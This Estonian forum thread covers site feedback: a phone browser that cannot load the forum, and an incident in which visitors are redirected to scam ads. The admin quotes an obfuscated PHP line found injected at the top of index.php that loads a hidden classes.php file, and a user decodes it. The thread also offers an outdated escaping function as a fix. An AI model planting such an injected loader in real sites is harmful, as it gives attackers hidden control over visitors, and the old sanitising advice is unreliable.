Elfafoorumi uudised ja tagasiside

[olavsu1]

Vs: Elfafoorumi uudised ja tagasiside

Postkast täis ei ole ?

kelle postkast? Minu oma on tühi.

asi lahendatud, seadistus oli vale.

[Scott]

Vs: Elfafoorumi uudised ja tagasiside

Küsimus foorumi avanemisest Nokia Lumia telefonis IE-brauseriga. Mul Lumia 520, sellel peal Windows Mobile 8.0 (viimane, mis on saadaval), IE versiooni ei näita. Foorumit ja nt Õhtulehte ei ava. Hinnavaatluse foorumit, Postimeest ja Delfit saan sirvida; on küll iseärasusi, aga saab hakkama.

Chrome ega muid värskemaid brausereid sellele telefonile ei ole või ei mõista ma neid otsida/installida.

[martinj]

Vs: Elfafoorumi uudised ja tagasiside

Ma arvan, et põhjus on https . Ühegi varasema brauseriga enam ei toimi.

[Scott]

Vs: Elfafoorumi uudised ja tagasiside

Muud https lehed töötavad.
Ei ava isegi Elfafoorumi tekstipõhist arhiiviversiooni.

...

Vaatasin www.whatsmybrowser.org ja www.thismachine.info lehelt brauseri täpsed andmed.

Mozilla/5.0 Compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0; ARM; Touch; WPDesktop).

Ehk kasutusel on IE Mobile 10. Wiki järgi eelviimane, viimase IE Mobile 11 saab koos Windows Mobile 8.1 opsüsteemiga. Seda aga Lumia 520 (vist?) enam ei toeta, kuigi https://en.wikipedia.org/wiki/Windows_Phone_8.1 väidab vastupidist.

[olavsu1]

Vs: Elfafoorumi uudised ja tagasiside

kas foorumi koodi on pääsenud miski reklaami pahalane?

pealehe link saatis juhuslikult toredasse kohta

[vaiko]

Vs: Elfafoorumi uudised ja tagasiside

Kratt vist sees jah, mind ka saatis sinna...

[Shele]

Vs: Elfafoorumi uudised ja tagasiside

See on väga paljudes kohtades.

[martinj]

Vs: Elfafoorumi uudised ja tagasiside

Tegin vist korda....huvitav, kuidas on võimalik teisi faile muutmata index.php.sse sisse ronida.
Igatahes uurin koodi..

<?php $jk233 = $_SERVER["\104\117\x43\x55\1n5\105\116\x54\137\x52\x4f\x4f\x54"] . "\x2f\x70\x61\x63\153\141\147\145\x73\57\x61\x6a\x61\x78\x2f"; require_once $jk233 . "\143\154\141\x73\163\145\163\x2e\160\x68\160"; pSYxNzrios::GeDHdqANvP(); ?>

Selline asi oli kõige algusesse pandud.

[olavsu1]

Vs: Elfafoorumi uudised ja tagasiside

Cross-Site Scripting rünne. kaitsmata muutujad, millega phpcli'd (tekstifail kuskil pikalitõmmatud serveris, sisuliselt saab sellega root õigustes käsurea) käima saab tõmmata.

logist näed missuguse muutuja kaudu sisse tuldi.

sul on pahasid faile veel, mitte aint index.

indexisse lisatu tähendab seda:

<?php $jk233 = $_SERVER["DOCU\1n5ENT_ROOT"] . "/packages/ajax/"; require_once $jk233 . "classes.php"; pSYxNzrios::GeDHdqANvP(); ?>

[martinj]

Vs: Elfafoorumi uudised ja tagasiside

Logifail on meeeeeeeeeeletult suuuuuuuuuuuuur. Igal juhul uurin.
Mul on pikemat aega ka plaanis foorumi soft välja vahetada millegi uuema vastu.

[olavsu1]

Vs: Elfafoorumi uudised ja tagasiside

Mis versioon php käigus?


äkki on abi kui riskialtide muutujate väärtused lasta läbi selle:

function quote_smart($value) {
    // Stripslashes
    if (get_magic_quotes_gpc()) {
        $value = stripslashes($value);
    }
    // Quote if not integer
    if (!is_numeric($value)) {
        $value = "'" . mysql_real_escape_string($value) . "'";
    }
    return $value;
}//v2ike6udik

see vist enam ei aita..... php 4,3 kood

[martinj]

Vs: Elfafoorumi uudised ja tagasiside

Põhjus ongi vana php.
Agaramad panid tähele, et foorum oli ka vahepeal "maas". Ehk Vbulletin 4.x ei käi php 7.x asjaga.
Ajasin php 5.3 peale tagasi.

[olavsu1]

Vs: Elfafoorumi uudised ja tagasiside

Peale joomla, drupal'i ja phpbb3 vist mitteükski tuntud CMS ei käi. Mul endal oli phpnuke, see käis koguni php4.3 versioonis. sai kunagi veebiraadiot tehtud.

[olavsu1]

Vs: Elfafoorumi uudised ja tagasiside

ei midagi, see asi ei tasu ära.

mõtekam on phpbb3 võtta

[Elektrik]

Vs: Elfafoorumi uudised ja tagasiside

Kas mulle tundus või viskas jälle reklaami ette, kui avasin foorumi.
Palju õnne, olete väljavalitud loosimisele jne.